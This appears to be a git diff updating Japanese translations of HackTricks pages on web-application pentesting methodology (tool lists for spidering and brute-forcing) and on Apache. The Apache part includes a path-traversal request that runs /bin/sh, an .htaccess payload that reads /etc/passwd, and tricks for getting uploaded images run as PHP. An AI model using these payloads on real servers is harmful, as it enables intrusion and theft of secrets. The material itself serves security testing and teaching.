-**興味深い情報を含むデフォルトページ:** +**Default pages with interesting info:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- メインおよびサブページのコメントも確認すること。 +- Check also comments in the main and secondary pages. -**エラーの強制発生** +**Forcing errors** -不正なデータが送られると、Web サーバは**予期しない動作**をすることがあり、これが**脆弱性**や**機密情報の漏えい**につながる可能性があります。 +ウェブサーバーは、奇妙なデータが送られると**予期せぬ挙動**をすることがあります。これにより**脆弱性**が発生したり、**機密情報の漏えい**につながることがあります。 -- **fake pages**（例: /whatever_fake.php、.aspx、.html、など）にアクセスする -- **cookie values** や **parameter** の値に "\[]", "]]", "\[\[" を追加してエラーを発生させる -- **URL** の **末尾** に **`/~randomthing/%s`** を入れてエラーを生成する -- PATCH、DEBUG や FAKE のような誤ったものも含め、**different HTTP Verbs** を試す +- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) +- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors +- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** +- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE -#### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -もし **WebDav** が **enabled** でルートフォルダにファイルを **uploading files** する十分な権限がない場合は、次を試してください: +If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: -- **Brute Force** でクレデンシャルを総当たりする -- WebDav を介してウェブページ内で見つかった他のフォルダ（root 以外）に **Upload files** する。別のフォルダにはアップロード権限がある可能性があります。 +- **Brute Force** credentials +- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. -### **SSL/TLS の脆弱性** +### **SSL/TLS 脆弱性** -- アプリケーションがどの部分でも **HTTPS の使用を強制していない** 場合、**MitM に対して脆弱**です -- アプリケーションが **HTTP を使って機密データ（パスワード）を送信している** 場合、それは重大な脆弱性です +- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** +- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. -脆弱性をチェックするには [**testssl.sh**](https://github.com/drwetter/testssl.sh) を使用してください（Bug Bounty プログラムではこれらの種類の脆弱性は受け入れられないことが多い）。脆弱性を再確認するには [**a2sv**](https://github.com/hahwul/a2sv) を使用してください: +Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -195,60 +202,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +SSL/TLS の脆弱性に関する情報: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -ウェブ内に何らかの **spider** を起動します。spider の目的は、テスト対象のアプリケーションから可能な限り多くのパスを **見つけること** です。したがって、web crawling と外部ソースを利用して、可能な限り多くの有効なパスを見つけるべきです。 +ウェブ内で何らかの **spider** を起動します。spider の目的は、テスト対象アプリケーションから可能な限り多くのパスを見つけることです。したがって、Web クローリングや外部ソースを利用して、できるだけ多くの有効なパスを見つけるべきです。 -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider、JS ファイル内の LinkFinder と外部ソース (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)。 -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider、JS ファイル用の LinkFider と Archive.org を外部ソースとして使用。 -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider、"juicy files" も表示。 -- [**evine** ](https://github.com/saeeddhqan/evine)(go): 対話式 CLI HTML spider。Archive.org でも検索。 -- [**meg**](https://github.com/tomnomnom/meg) (go): このツールは spider ではありませんが有用です。hosts のファイルと paths のファイルを指定すると、各ホスト上の各パスを取得してレスポンスを保存します。 -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS レンダリング機能を持つ HTML spider。ただし、メンテナンスされていないようで、事前コンパイル版は古く、現在のコードはコンパイルできません。 -- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ(wayback, otx, commoncrawl) を利用する HTML spider。 -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): パラメータ付き URL を見つけて一覧化するスクリプト。 -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS レンダリング機能を持つ HTML spider。 -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider、JS 美化機能付きで JS ファイル内の新しいパスを検索可能。LinkFinder のラッパーである [JSScanner](https://github.com/dark-warlord14/JSScanner) も見る価値あり。 -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ソースと埋め込み javascript ファイルの両方からエンドポイントを抽出。bug hunters、red teamers、infosec ninjas に有用。 -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado と JSBeautifier を使用して JavaScript ファイルから相対 URL を解析する python 2.7 スクリプト。AJAX リクエストの発見に便利。メンテされていない可能性あり。 -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 与えられたファイル(HTML)から正規表現を使って相対 URL を抽出。ミニファイされたファイルから相対 URL を取り出すのに便利。 -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 複数ツールを使って JS ファイルから興味深い情報を収集。 -- [**subjs**](https://github.com/lc/subjs) (go): JS ファイルを検出。 -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): headless browser でページを読み込み、ページ読み込み時にロードされるすべての URL を出力。 -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 先に挙げたツールのいくつかのオプションを組み合わせた content discovery ツール。 +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML スパイダー。JS ファイル内の LinkFinder 機能と外部ソース (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) を利用します。 +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML スパイダー。JS ファイル用の LinkFinder と Archive.org を外部ソースとして利用します。 +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML スパイダーで、"juicy files" を示してくれます。 +- [**evine** ](https://github.com/saeeddhqan/evine)(go): 対話式 CLI の HTML スパイダー。Archive.org も検索します。 +- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが便利です。hosts のファイルと paths のファイルを指定すると、各ホストの各パスを取得してレスポンスを保存します。 +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS レンダリング機能を備えた HTML スパイダー。ただしメンテナンスされていないようで、事前コンパイル版は古く、現在のコードはコンパイルできません。 +- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ (wayback, otx, commoncrawl) を利用する HTML スパイダーです。 +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): パラメータ付き URL を見つけて一覧化します。 +- [**galer**](https://github.com/dwisiswant0/galer) (go): JS レンダリング機能を持つ HTML スパイダーです。 +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS の beautify 機能を持つ HTML スパイダーで、JS ファイル内の新しいパスを検索できます。LinkFinder のラッパーである [JSScanner](https://github.com/dark-warlord14/JSScanner) も確認すると良いでしょう。 +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ソースと埋め込み javascript ファイルの両方からエンドポイントを抽出します。bug hunters や red team、infosec の方に有用です。 +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado と JSBeautifier を使って JavaScript ファイルから相対 URL を解析する python 2.7 スクリプト。AJAX リクエストの発見に便利。メンテナンスされていない模様。 +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML ファイルを受け取り、正規表現で相対 URL を抽出します（minify されたファイルから相対 URL を取り出すのに便利）。 +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 複数のツールを使って JS ファイルから興味深い情報を収集します。 +- [**subjs**](https://github.com/lc/subjs) (go): JS ファイルを探索します。 +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、そのページをロードするために読み込まれたすべての URL を出力します。 +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 先述のツール群の複数のオプションを組み合わせたコンテンツ発見ツールです。 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS ファイル内のパスやパラメータを見つける Burp extension。 -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL を与えると beautified JS コードを取得するツール。 -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定ターゲットのエンドポイント発見に使うツール。 -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine からリンクを発見（wayback 内のレスポンスをダウンロードしてさらにリンクを探す）。 -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めてクロールしたり、特定の regex を使って機密情報を検出。 -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): サイバーセキュリティ専門家向けの高度なマルチ機能 GUI web security Crawler/Spider。 -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ソースコードから URL、path、secrets、その他の興味深いデータを抽出する Go パッケージと [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)。 -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): リクエストからパラメータとエンドポイントを抽出して fuzzing/列挙用のカスタムワードリストを作成するシンプルな **Burp Suite extension**。 -- [**katana**](https://github.com/projectdiscovery/katana) (go): この作業に適した優れたツール。 -- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけられるすべてのリンクを表示。 +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map の URL が分かれば、beautified な JS コードを取得するツール。 +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): あるターゲットのエンドポイント発見に使うツールです。 +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine からリンクを発見します（wayback のレスポンスをダウンロードしてさらにリンクを探します）。 +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの入力まで行ってクローリングし、特定の正規表現で機密情報を見つけます。 +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): GUI ベースの多機能 web セキュリティクローラー/スパイダー。 +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ソースコードから URL、パス、シークレット、その他興味深いデータを抽出する Go パッケージ兼 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)。 +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Burp Suite extension。リクエストからパラメータとエンドポイントを抽出し、fuzzing や列挙用のカスタムワードリストを作成します。 +- [**katana**](https://github.com/projectdiscovery/katana) (go): この用途に優れたツールです。 +- [**Crawley**](https://github.com/s0rg/crawley) (go): 発見可能なすべてのリンクを出力します。 ### Brute Force directories and files -ルートフォルダから **brute-forcing** を開始し、すべての **発見したディレクトリ** をこの方法で必ず brute-force してください。Spidering によって **発見された** すべてのディレクトリも同様です（これを再帰的に行い、使用するワードリストの先頭に見つかったディレクトリ名を追加することができます）。\ +ルートフォルダから **brute-forcing** を開始し、**この方法**で見つかったすべてのディレクトリと、**Spidering** によって発見されたすべてのディレクトリを必ず brute-force してください（これを **再帰的に** 行い、見つかったディレクトリ名をワードリストの先頭に追加して試すことができます）。\ ツール: -- **Dirb** / **Dirbuster** - Kali に同梱、**古い**（かつ **遅い**）が動作する。自己署名証明書を許可し、再帰検索が可能。ほかのオプションと比べると遅い。 -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しないが**、再帰検索をサポート。 -- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可、**再帰検索はできない**。 -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポート。** +- **Dirb** / **Dirbuster** - Kali に含まれる、**古い**（そして **遅い**）が機能するツール。自己署名証明書を許可し、再帰検索が可能。他のオプションと比べると遅すぎます。 +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しませんが、再帰検索をサポートします。** +- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、ただし **再帰検索はサポートしていません**。 +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポートします。** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): spider ではないが、見つかった URL のリストを与えると重複した URL を削除するツール。 -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp の履歴から複数ページのディレクトリ一覧を作成する Burp Extension。 -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports に基づいて機能が重複する URL を削除。 -- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer を使って使用技術を検出し、使用するワードリストを選択。 +- [**uro**](https://github.com/s0md3v/uro) (python): スパイダーではありませんが、見つかった URL の一覧から「重複」URL を削除します。 +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp の履歴からディレクトリ一覧を作成する Burp Extension。 +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js の import に基づいて機能が重複する URL を削除します。 +- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer を使って使用されている技術を検出し、適切なワードリストを選択します。 -**Recommended dictionaries:** +**推奨ワードリスト:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -267,41 +274,41 @@ Information about SSL/TLS vulnerabilities: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_新しいディレクトリが brute-forcing や spidering 中に発見された場合は、いつでもそのディレクトリを Brute-Force すべきです。_ +_注意: 新しいディレクトリが brute-forcing や spidering の過程で発見された場合は、必ずそのディレクトリに対して Brute-Forced を行ってください。_ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 内の壊れたリンクを見つけ、takeovers の可能性を探る。 -- **File Backups**: すべてのファイルを見つけたら、実行ファイルのバックアップ（"_.php_", "_.aspx_"...）を探す。バックアップの一般的な命名パターンは: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._。ツール [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使うこともできる。 -- **Discover new parameters**: [**Arjun**](https://github.com/s0md3v/Arjun)、[**parameth**](https://github.com/maK-/parameth)、[**x8**](https://github.com/sh1yo/x8)、[**Param Miner**](https://github.com/PortSwigger/param-miner) などを使って隠れたパラメータを発見できます。可能であれば、各実行可能な web ファイルで隠れたパラメータを検索してみてください。 +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 内の壊れたリンクを見つけます。これらは takeover の対象になり得ます。 +- **File Backups**: すべてのファイルを見つけたら、実行可能ファイルのバックアップ（"_.php_", "_.aspx_"…）を探します。バックアップ名の一般的なバリエーションは: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ またはツール [**bfac**](https://github.com/mazen160/bfac) **や** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使うこともできます。 +- **Discover new parameters**: 隠しパラメータを発見するために [**Arjun**](https://github.com/s0md3v/Arjun)、[**parameth**](https://github.com/maK-/parameth)、[**x8**](https://github.com/sh1yo/x8)、[**Param Miner**](https://github.com/PortSwigger/param-miner) などを使用できます。可能であれば、各実行可能な web ファイルで隠しパラメータを探してみてください。 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Comments:** すべてのファイルのコメントを確認してください。**credentials** や **hidden functionality** が見つかることがあります。 -- CTF をプレイしている場合、一般的なトリックとしてページの **右側** にコメントで情報を **隠す**（ブラウザでソースを開くと見えないように大量のスペースを利用）ことがあります。別の方法として、複数の改行を使い、ページ下部のコメントに情報を隠すこともあります。 -- **API keys**: API key を見つけた場合、さまざまなプラットフォームの API key の使い方を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)、[**zile**](https://github.com/xyele/zile.git)、[**truffleHog**](https://github.com/trufflesecurity/truffleHog)、[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)、[**RegHex**]()、[**DumpsterDive**](https://github.com/securing/DumpsterDiver)、[**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: **AIza** で始まるような API key を見つけたら、[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) でどの API にアクセスできるかチェックできます。 -- **S3 Buckets**: spidering 中にサブドメインやリンクが S3 bucket に関連しているかどうか確認してください。その場合は [**check** the **permissions** of the bucket](buckets/index.html)。 +- CTF を行っている場合、よくあるトリックとしてページの右側のコメント内に情報を**隠す**ことがあります（ブラウザでソースを開いた場合に見えないように何百ものスペースを使う）。別の方法としては複数の改行を入れ、ページ下部のコメントに情報を隠す場合もあります。 +- **API keys**: API キーを見つけた場合、さまざまなプラットフォームの API キーの使い方を示すプロジェクトがあります: [**keyhacks**](https://github.com/streaak/keyhacks)、[**zile**](https://github.com/xyele/zile.git)、[**truffleHog**](https://github.com/trufflesecurity/truffleHog)、[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)、[**RegHex**]()、[**DumpsterDive**](https://github.com/securing/DumpsterDiver)、[**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik のような形式の API キーを見つけた場合、どの API にアクセスできるかを確認するために [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を使えます。 +- **S3 Buckets**: spidering 中にサブドメインやリンクが S3 bucket に関連しているか確認してください。その場合は、バケットのアクセス権を [**check** the **permissions** of the bucket](buckets/index.html)。 ### Special findings -**spidering** と **brute-forcing** を行う際に、**注目すべき** 事項が見つかることがあります。 +spidering と brute-forcing を行う間に、注意すべき**興味深い****発見**があることがあります。 **Interesting files** - CSS ファイル内の他のファイルへの **links** を探してください。 -- [.git を見つけた場合、いくつかの情報を抽出できることがあります](git.md) -- .env を見つけた場合、api keys、dbs passwords、その他の情報が見つかることがあります。 -- **API endpoints** を見つけたら、[それらもテストすべきです](web-api-pentesting.md)。これらはファイルではありませんが、見た目はファイルのようなことが多いです。 -- **JS files**: spidering セクションで JS ファイルからパスを抽出できるツールをいくつか挙げました。見つけた各 JS ファイルを **監視** するのも有益です。場合によっては、ファイルの変更が潜在的な脆弱性の導入を示すことがあります。例えば [**JSMon**](https://github.com/robre/jsmon) を使うことができます。 -- 発見した JS ファイルは [**RetireJS**](https://github.com/retirejs/retire.js/) や [**JSHole**](https://github.com/callforpapers-source/jshole) で脆弱性がないか確認すべきです。 +- [If you find a _**.git**_ file some information can be extracted](git.md) +- _**.env**_ ファイルを見つけた場合、api keys、DB パスワードなどの情報が含まれていることがあります。 +- **API endpoints** を見つけた場合は [should also test them](web-api-pentesting.md)。これらはファイルではありませんが、見た目はファイルと似ていることが多いです。 +- **JS files**: spidering セクションで JS ファイルからパスを抽出できるツールをいくつか挙げました。見つかった各 JS ファイルを監視するのも有用です。場合によってはコードの変更が潜在的な脆弱性の導入を示すことがあります。例えば [**JSMon**](https://github.com/robre/jsmon) を使うと良いでしょう。 +- 発見した JS ファイルは [**RetireJS**](https://github.com/retirejs/retire.js/) や [**JSHole**](https://github.com/callforpapers-source/jshole) で脆弱性がないか確認するべきです。 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- 多くの場合、使用されている正規表現を理解する必要があります。これには次が有用です: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex) -- フォームが検出されたファイルを監視するのも良いです。パラメータの変更や新しいフォームの出現は、新たな脆弱な機能が導入されたことを示す場合があります。 +- 正規表現を理解する必要が生じる場面が多々あります。これには次が役立ちます: [https://regex101.com/](https://regex101.com) や [https://pythonium.net/regex](https://pythonium.net/regex) +- フォームが検出されたファイルを監視することも検討してください。パラメータの変更や新しいフォームの出現は、新たな脆弱性を示す可能性があります。 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +319,28 @@ _新しいディレクトリが brute-forcing や spidering 中に発見され **502 Proxy Error** -もしページがそのコードで **レスポンス** を返すなら、おそらく **誤設定された proxy** です。**`GET https://google.com HTTP/1.1`** のような HTTP リクエストを（host ヘッダやその他一般的なヘッダを付けて）送ると、proxy は _**google.com**_ へアクセスしようとし、SSRF を発見できます。 +もしページがこのステータスコードで応答する場合、設定ミスのあるプロキシである可能性が高いです。**もし次のような HTTP リクエストを送ると: `GET https://google.com HTTP/1.1`**（Host ヘッダや他の一般的なヘッダ付きで）、プロキシは _**google.com**_ にアクセスしようとし、SSRF を発見できることがあります。 **NTLM Authentication - Info disclosure** -実行中のサーバが認証を要求しており、それが **Windows** であるか、ドメイン名を尋ねるログインがある場合、**情報漏洩** を誘発できます。\ -ヘッダを送信してください: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。NTLM 認証の仕組み上、サーバはヘッダ "WWW-Authenticate" に内部情報（IIS バージョン、Windows バージョン...）を返します。\ +要求しているサーバが **Windows** であったり、ログインがドメイン名を要求する場合、情報漏洩を引き起こすことができます。\ +ヘッダを送信してください: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。NTLM 認証の仕組みにより、サーバは "WWW-Authenticate" ヘッダ内に内部情報（IIS バージョン、Windows バージョンなど）を返すことがあります。\ これを自動化するには nmap のプラグイン "_http-ntlm-info.nse_" を使えます。 **HTTP Redirect (CTF)** -リダイレクト内にコンテンツを **埋め込む** ことが可能です。このコンテンツはブラウザがリダイレクトを実行するため **ユーザには表示されません** が、そこに何かが **隠されている** 可能性があります。 +リダイレクション内にコンテンツを入れることが可能です。このコンテンツはブラウザがリダイレクトを実行するためユーザーには表示されませんが、そこに何かが**隠されている**場合があります。 ### Web Vulnerabilities Checking -web アプリケーションの包括的な列挙が完了したら、多くの可能な脆弱性をチェックする時です。チェックリストは次にあります: +包括的な web アプリケーションの列挙を終えたら、多くの可能性のある脆弱性をチェックする時です。チェックリストは以下にあります: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -web 脆弱性の詳細: +Web 脆弱性に関する詳細情報: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -341,7 +348,7 @@ web 脆弱性の詳細: ### Monitor Pages for changes -ページの変更を監視するには、例えば [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) のようなツールを使い、脆弱性を導入する可能性のある修正を検出できます。 +ページの変更を監視して脆弱性の導入を検出するために、[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) のようなツールを使うことができます。 ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 59ac9bf5a..cd1c1a8e2 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## 実行されているPHP拡張 +## 実行可能な PHP 拡張 -Apacheサーバーが実行しているPHP拡張を確認します。これらを検索するには、次のコマンドを実行できます: +Apache サーバーが実行している PHP 拡張を確認します。検索するには、次のコマンドを実行できます: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -また、この設定が見つかる場所には次のようなものがあります: +また、この設定が見つかる場所の例は次のとおりです： ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,33 +21,33 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## LFI — .htaccess の ErrorDocument file provider (ap_expr) を経由 +## LFI を使った .htaccess ErrorDocument file provider (ap_expr) -あるディレクトリの .htaccess を制御でき、当該パスに対して AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 応答を任意のローカルファイル読み取りに変換できます。 +ディレクトリの .htaccess を制御でき、かつそのパスで AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 レスポンスを任意のローカルファイル読み取りに変えることができます。 - 要件: - Apache 2.4 で expression parser (ap_expr) が有効になっていること（2.4 ではデフォルト）。 -- vhost/dir が .htaccess による ErrorDocument の設定を許可している必要があります（AllowOverride FileInfo）。 -- Apache の worker ユーザーがターゲットファイルに対して読み取り権限を持っている必要があります。 +- vhost/dir が .htaccess で ErrorDocument を設定できるようになっていること（AllowOverride FileInfo）。 +- Apache worker user にターゲットファイルの読み取り権限があること。 -.htaccess payload: +.htaccess ペイロード: ```apache # Optional marker header just to identify your tenant/request path Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -そのディレクトリ以下の存在しないパスをリクエストすることでトリガーします。例えば、userdir-style hosting を悪用する場合など: +そのディレクトリ以下の存在しないパスへのリクエストでトリガーします。例えば userdir-style hosting を悪用する場合など: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` -メモとヒント: -- 絶対パスのみが機能します。コンテンツは404ハンドラのレスポンスボディとして返されます。 -- 実際の読み取り権限は Apache ユーザ（通常は www-data/apache）の権限になります。デフォルト設定では /root/* や /etc/shadow を読むことはできません。 -- たとえ .htaccess が root 所有でも、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして SFTP/FTP 経由で自分の置き換えをアップロードできることがあります： +Notes and tips: +- 絶対パスのみが動作します。コンテンツは404ハンドラのレスポンスボディとして返されます。 +- 実際の読み取り権限は Apache ユーザー（通常は www-data/apache）のものになります。デフォルト構成では /root/* や /etc/shadow を読むことはできません。 +- .htaccess が root 所有であっても、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして自分の置換を SFTP/FTP 経由でアップロードできる可能性があります： - rename .htaccess .htaccess.bk - put your malicious .htaccess -- これを利用して DocumentRoot や vhost の設定パス下のアプリケーションソースを読み取り、シークレット（DB creds、API keys など）を収集できます。 +- これを利用して DocumentRoot や vhost の設定パス下にあるアプリケーションソースを読み、秘密情報（DB creds、API keys 等）を収集できます。 ## Confusion Attack @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Mislead RewriteFlag Assignment** +- **誤誘導された RewriteFlag の割り当て** -以下の rewrite rule では、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、パスに（画像など）別の種類のファイルを読み込ませつつ、`?` 以降に .php で終わる URL を送信して、その中に悪意のある php コードを含めることが可能です： +以下の rewrite ルールでは、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、`?` の後に .php で終わる URL を送信しつつ、パスには別の種類のファイル（画像など）を読み込ませ、その中に悪意のある php コードを含めることが可能です： ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -以下のような設定では、本来アクセスが拒否されるべきファイルにユーザーがアクセスできてしまうことがある: 